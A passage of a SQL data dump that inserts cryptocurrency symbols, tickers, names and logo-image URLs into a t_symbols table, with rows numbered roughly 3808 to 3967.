'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1555648693906415621.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3808, 'bt1-cst', 'BT1', 'Bitfinex Bitcoin Future', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bt1-cst.png', NULL); +INSERT INTO `t_symbols` VALUES (3809, 'clpc', 'CLPC', 'CLP token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clpc.png', NULL); +INSERT INTO `t_symbols` VALUES (3810, 'eaz', 'EAZ', 'eaz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eaz.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3811, 'etrade', 'ETT', 'Etrade', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/etrade.png', NULL); +INSERT INTO `t_symbols` VALUES (3812, 'internationalcryptox', 'INCX', 'International CryptoX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/internationalcryptox.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3813, 'sedo', 'SEDO', 'SEDO POW TOKEN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sedo.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3814, 'cnh-tether', 'CNHT', 'CNH Tether', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cnh-tether.png', NULL); +INSERT INTO `t_symbols` VALUES (3815, 'dakuce', 'DAKU', 'Dakuce', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dakuce.png', NULL); +INSERT INTO `t_symbols` VALUES (3816, 'orbise10', 'ORBT', 'Orbise10', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orbise10.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3817, 'investcoin', 'INVC', 'Investcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/investcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3818, 'ohwe', 'OHC', 'OHWE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ohwe.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3819, 'buckstake-coin-masternodes', 'BCM', 'Buckstake Coin Masternodes', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/buckstake-coin-masternodes.png', NULL); +INSERT INTO `t_symbols` VALUES (3820, 'language-coin', 'LGC', 'Language Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/language-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3821, 'outdefine', 'OUTDEFINE', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1165870356357189633.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3822, 'bt2-cst', 'BT2', 'Bitcoin SegWit2X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bt2-cst.png', NULL); +INSERT INTO `t_symbols` VALUES (3823, 'clubcoin', 'CLUB', 'ClubCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clubcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3824, 'daec', 'DAEC', 'DAEC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/daec.png', NULL); +INSERT INTO `t_symbols` VALUES (3825, 'lendroid-support-token', 'LST', 'Lendroid Support Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lendroid-support-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3826, 'percival', 'XPV', 'Percival', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/percival.png', NULL); +INSERT INTO `t_symbols` VALUES (3827, 'quasarcoin', 'QAC', 'Quasarcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quasarcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3828, 'see', 'SEE', 'Insee Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/see.png', NULL); +INSERT INTO `t_symbols` VALUES (3829, 'vey', 'VEY', 'VEY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vey.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3830, 'xph', 'XPH', 'PHANTOM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xph.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3831, 'minergate-token', 'MG', 'MinerGate Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/minergate-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3832, '2acoin', 'ARMS', '2ACoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/2acoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3833, 'cmdx', 'CMDX', 'CMDX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cmdx.png', NULL); +INSERT INTO `t_symbols` VALUES (3834, 'maiscoin', 'MAIS', 'MaisCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/maiscoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3835, 'bitcoinmoney', 'BCM', 'BitcoinMoney', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoinmoney.png', NULL); +INSERT INTO `t_symbols` VALUES (3836, 'litegoldcoin', 'LGC', 'LiteGoldCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litegoldcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3837, 'xscoin', 'XSC', 'xscoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3838, 'pixby', 'PIXBY', 'PIXBY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pixby.png', NULL); +INSERT INTO `t_symbols` VALUES (3839, 'amt-1', 'AMT', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/amulet.png', NULL); +INSERT INTO `t_symbols` VALUES (3840, 'asl', 'ASL', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1452026613416304642.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3841, 'astro', 'ASTRO', 'Astro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/astronautcap.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3842, 'hec', 'HEC', 'hec', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hec.png', NULL); +INSERT INTO `t_symbols` VALUES (3843, 'internet-of-people', 'HYD', 'Hydraledger', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/internet-of-people.png', NULL); +INSERT INTO `t_symbols` VALUES (3844, 'leocoin', 'LC4', 'LEOcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/leocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3845, 'mex', 'MEX', 'MEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mex.png', NULL); +INSERT INTO `t_symbols` VALUES (3846, 'stex', 'STEX', 'STEX', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3847, 'xponz', 'XPONZ', 'Xponz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xponz.png', NULL); +INSERT INTO `t_symbols` VALUES (3848, 'dns-token', 'DNS', 'DNS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dns-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3849, 'redi', 'REDI', 'REDi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/redi.png', NULL); +INSERT INTO `t_symbols` VALUES (3850, 'proof-token', 'PRFT', 'Proof', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/proof-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3851, 'xtrlpay', 'XTRLPAY', 'XTRLPAY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xtrlpay.png', NULL); +INSERT INTO `t_symbols` VALUES (3852, 'click-chain-coin', 'XZP', 'Click Chain Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/click-chain-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3853, 'dncom', 'DN', 'DNCOM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dncom.png', NULL); +INSERT INTO `t_symbols` VALUES (3854, 'buycoinpos', 'BCP', 'BuyCoinPos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/buycoinpos.png', NULL); +INSERT INTO `t_symbols` VALUES (3855, 'netkoin-liquid', 'LIQUID', 'Netkoin Liquid', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/netkoin-liquid.png', NULL); +INSERT INTO `t_symbols` VALUES (3856, 'peth18c', 'PETH18C', 'pETH18C', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/peth18c.png', NULL); +INSERT INTO `t_symbols` VALUES (3857, 'medieval-empires', 'MEE', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1526821051983970305.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3858, 'join-the-pressure', 'JTP', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/980677874.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3859, '888tron', '888', '888tron', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/888tron.png', NULL); +INSERT INTO `t_symbols` VALUES (3860, 'bitcoin-air', 'XBA', 'Bitcoin Air', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-air.png', NULL); +INSERT INTO `t_symbols` VALUES (3861, 'dagger', 'XDAG', 'Dagger', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dagger.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3862, 'eub-token', 'EUBC', 'EUB Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eub-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3863, 'gamblecoin', 'GMCN', 'GambleCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gamblecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3864, 'internet-of-things', 'XOT', 'Internet of Things', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/iot_coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3865, 'less', 'LESS', 'Lordless', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/less.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3866, 'nmct', 'NCMT', 'nmct', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3867, 'petc', 'PETC', 'Petcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/petc.png', NULL); +INSERT INTO `t_symbols` VALUES (3868, 'seek', 'SEEK', 'SEEK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/seek.png', NULL); +INSERT INTO `t_symbols` VALUES (3869, 'virtual-goods-token', 'VGO', 'Virtual Goods Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/virtual-goods-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3870, 'worktips', 'WTIP', 'Worktips', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/worktips.png', NULL); +INSERT INTO `t_symbols` VALUES (3871, 'rotohive', 'ROTO', 'Roto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rotohive.png', NULL); +INSERT INTO `t_symbols` VALUES (3872, 'tibab', 'TIB', 'TiBAB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tibab.png', NULL); +INSERT INTO `t_symbols` VALUES (3873, 'xenia-coin', 'XEN', 'Xenia Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xenia-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3874, 'lunarium', 'XLN', 'Lunarium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lunarium.png', NULL); +INSERT INTO `t_symbols` VALUES (3875, 'makemycoin', 'MMCO', 'MakeMyCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/makemycoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3876, 'blockchainpoland', 'BCP', 'BlockchainPoland', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockchainpoland.png', NULL); +INSERT INTO `t_symbols` VALUES (3877, 'lithium', 'LIT', 'Lithium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lithium.png', NULL); +INSERT INTO `t_symbols` VALUES (3878, 'seedcoin', 'XSD', 'Seedcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/seedcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3879, 'gameyoo', 'GYC', 'GameYoo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/gameyoo.png', NULL); +INSERT INTO `t_symbols` VALUES (3880, 'renw', 'RENW', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1054657295559225346.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3881, 'mbe', 'MBE', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/936145892117229568.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3882, 'peth', 'PETH', 'Pooled Ether', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/peth.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3883, 'qube', 'QUBE', 'Qube', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qube.png', NULL); +INSERT INTO `t_symbols` VALUES (3884, 'sthblock', 'SMTH', 'sthblock', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3885, 'xqr', 'XQR', 'Qredit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xqr.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3886, 'zorochain', 'ZORO', 'zorochain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/zorochain.png', NULL); +INSERT INTO `t_symbols` VALUES (3887, 'hjig-chain', 'HJIG', 'HJIG', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hjig-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (3888, 'asterion-space', 'ATR', 'Asterion Space', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/asterion-space.png', NULL); +INSERT INTO `t_symbols` VALUES (3889, 'digi-dinar', 'DDR', 'Digi Dinar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digi-dinar.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3890, 'mobit-global', 'MBGL', 'Mobit Global', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mobit-global.png', NULL); +INSERT INTO `t_symbols` VALUES (3891, 'repux', 'REPUX', 'RepuX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/repux.png', NULL); +INSERT INTO `t_symbols` VALUES (3892, 'bitcoin-classic-token', 'BCT', 'Bitcoin Classic Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-classic-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3893, 'loopycoin', 'LOC', 'loopycoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/loopycoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3894, 'xycchain', 'XYCC', 'XYCChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xycchain.png', NULL); +INSERT INTO `t_symbols` VALUES (3895, 'govworld-govtoken', 'GOV', 'GovWorld', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/govworld.png', NULL); +INSERT INTO `t_symbols` VALUES (3896, 'starly', 'STARLY', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/starlyio.png', NULL); +INSERT INTO `t_symbols` VALUES (3897, 'daotoken', 'DAO', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/daomaker.png', NULL); +INSERT INTO `t_symbols` VALUES (3898, 'wizardia', 'WZRD', 'Wizardia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/wizardia.png', NULL); +INSERT INTO `t_symbols` VALUES (3899, 'bookio', 'BOOK', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1395397041438793729.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3900, 'bzr', 'BZR', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1436308714856730625.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3901, 'bitcoin-black', 'BLACK', 'bitcoin-black', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-black.png', NULL); +INSERT INTO `t_symbols` VALUES (3902, 'ebit', 'EBIT', 'eBIT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/ebit_tokens.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3903, 'game-bank-coin', 'GBC', 'Game Bank Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/game-bank-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3904, 'nmt', 'NMT', 'NMT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nmt.png', NULL); +INSERT INTO `t_symbols` VALUES (3905, 'trackant', 'TAT', 'trackant', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trackant.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3906, 'xrp-classic', 'XRPC', 'XRP Classic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xrp-classic.png', NULL); +INSERT INTO `t_symbols` VALUES (3907, 'super-coinview-token', 'SCV', 'SCV.finance Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/super-coinview-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3908, 'advancedtds', 'RELAY', 'RELAY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/advancedtds.png', NULL); +INSERT INTO `t_symbols` VALUES (3909, 'p2p-coin', 'P2P', 'P2P Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/p2p-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3910, 'intro-token', 'NTRO', 'iNTRO Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/intro-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3911, 'mularpay', 'MP', 'MularPay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mularpay.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3912, 'r2x', 'RTX', 'R2X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/r2x.png', NULL); +INSERT INTO `t_symbols` VALUES (3913, 'badcoin', 'BAD', 'BADcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/badcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3914, 'bitcardtour', 'BCT', 'BitCard Tour', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcardtour.png', NULL); +INSERT INTO `t_symbols` VALUES (3915, 'life-style-chain', 'LST', 'Life Style Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/life-style-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (3916, 'yeecore', 'YEC', 'Yeecore', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yeecore.png', NULL); +INSERT INTO `t_symbols` VALUES (3917, 'tai', 'TAI', 'tBridge', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tai.png', NULL); +INSERT INTO `t_symbols` VALUES (3918, 'dexfin', 'DXF', 'Dexfin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dexfin.png', NULL); +INSERT INTO `t_symbols` VALUES (3919, 'nyanheroes', 'NYN', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/nyaneroes.png', NULL); +INSERT INTO `t_symbols` VALUES (3920, 'metaoasis', 'MTOS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1455697568499781633.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3921, 'mars-labs', 'MRST', 'Mars Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1422836617249628163.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3922, 'bitcoin-bull', 'BITB', 'Bitcoin Bull', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-bull.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3923, 'btcbanktoken', 'BT', 'btcbanktoken', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3924, 'cmc', 'CMC', 'cmc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cmc.png', NULL); +INSERT INTO `t_symbols` VALUES (3925, 'dakicoin', 'DIC', 'Daikicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dakicoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3926, 'game-chain-world', 'GCW', 'game-chain-world', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/game-chain-world.png', NULL); +INSERT INTO `t_symbols` VALUES (3927, 'mgctoken', 'MGC', 'MGC Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mgctoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3928, 'pf', 'PF', 'Proof', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pf.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3929, 'qubitica', 'QBIT', 'Qubitica', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qubitica.png', NULL); +INSERT INTO `t_symbols` VALUES (3930, 'xrpalike-gene', 'XAG', 'Xrpalike Gene', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xrpalike-gene.png', NULL); +INSERT INTO `t_symbols` VALUES (3931, 'bsha3', 'BSHA3', 'BSHA3', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bsha3.png', NULL); +INSERT INTO `t_symbols` VALUES (3932, 'apeiron', 'APEIR', 'APEIRON', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apeiron.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3933, 'aftershock', 'SHOCK', 'AfterShock', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aftershock.png', NULL); +INSERT INTO `t_symbols` VALUES (3934, 'ballzcoin', 'BALLZ', 'Ballzcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ballzcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3935, 'arto', 'RTO', 'Arto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arto.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3936, 'saturn-classic-dao-token', 'STRN', 'Saturn Classic DAO Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/saturn-classic-dao-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3937, 'saturn-dao-token', 'SATURN', 'Saturn DAO Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/saturn-dao-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3938, 'boardcoin', 'BDC', 'Boardcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boardcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3939, 'litegold', 'LTG', 'LiteGold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litegold.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3940, 'zichain', 'ZCN', 'Zichain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zichain.png', NULL); +INSERT INTO `t_symbols` VALUES (3941, 'lztoken', 'LZ', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/launchzone.png', NULL); +INSERT INTO `t_symbols` VALUES (3942, 'tinyworld', 'TINC', 'Tiny Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/tinyworld.png', NULL); +INSERT INTO `t_symbols` VALUES (3943, 'sxnetwork', 'SX', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/sxnetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (3944, 'vcore', 'VCORE', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vcore.png', NULL); +INSERT INTO `t_symbols` VALUES (3945, 'fght', 'FGHT', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1583039028278042624.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3946, 'aaacoin', 'AAA', 'AAA COIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aaacoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3947, 'atf', 'ATF', 'Agro Tech Farm', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atf.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3948, 'btcc', 'BTCC', 'btcc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btcc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3949, 'seer-chain', 'SER', 'seer-chain', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3950, 'xrr', 'XRRT', 'XchangeRate', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xrr.png', NULL); +INSERT INTO `t_symbols` VALUES (3951, 'sparkster', 'SPRK', 'Sparkster', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sparkster.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3952, 'dhgchain', 'DHG', 'DHG', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dhgchain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3953, 'liquidwave', 'LIQUID', 'LiquidWave', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/liquidwave.png', NULL); +INSERT INTO `t_symbols` VALUES (3954, 'ton-money', 'TON$', 'TON Money', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ton-money.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3955, 'bei-dou-chain', 'BDC', 'BeidouChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bei-dou-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (3956, 'lutherchain', 'LTH', 'LutherChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lutherchain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3957, 'zeonhexalgo', 'ZEON', 'Zeon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zeonhexalgo.png', NULL); +INSERT INTO `t_symbols` VALUES (3958, 'jackpool', 'JFI', 'JackPool.finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jackpool.png', NULL); +INSERT INTO `t_symbols` VALUES (3959, 'rlt', 'RLT', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/rlink.png', NULL); +INSERT INTO `t_symbols` VALUES (3960, 'team', 'TEAM', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/teamdao.png', NULL); +INSERT INTO `t_symbols` VALUES (3961, 'des-token', 'DES', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/delysium.png', NULL); +INSERT INTO `t_symbols` VALUES (3962, 'illumishare-srg-token', 'SRG', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/lumishare.png', NULL); +INSERT INTO `t_symbols` VALUES (3963, 'aat', 'AAT', 'aat', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aat.png', NULL); +INSERT INTO `t_symbols` VALUES (3964, 'athenian-warrior-token', 'ATH', 'Athenian Warrior Elite Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/athenian-warrior-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3965, 'dali', 'DALI', 'DALICHAIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dali.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3966, 'heizuantoken', 'HZT', 'Black Diamond Rating', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/heizuantoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3967, 'no-bs-crypto', 'NOBS', 'No BS Crypto', 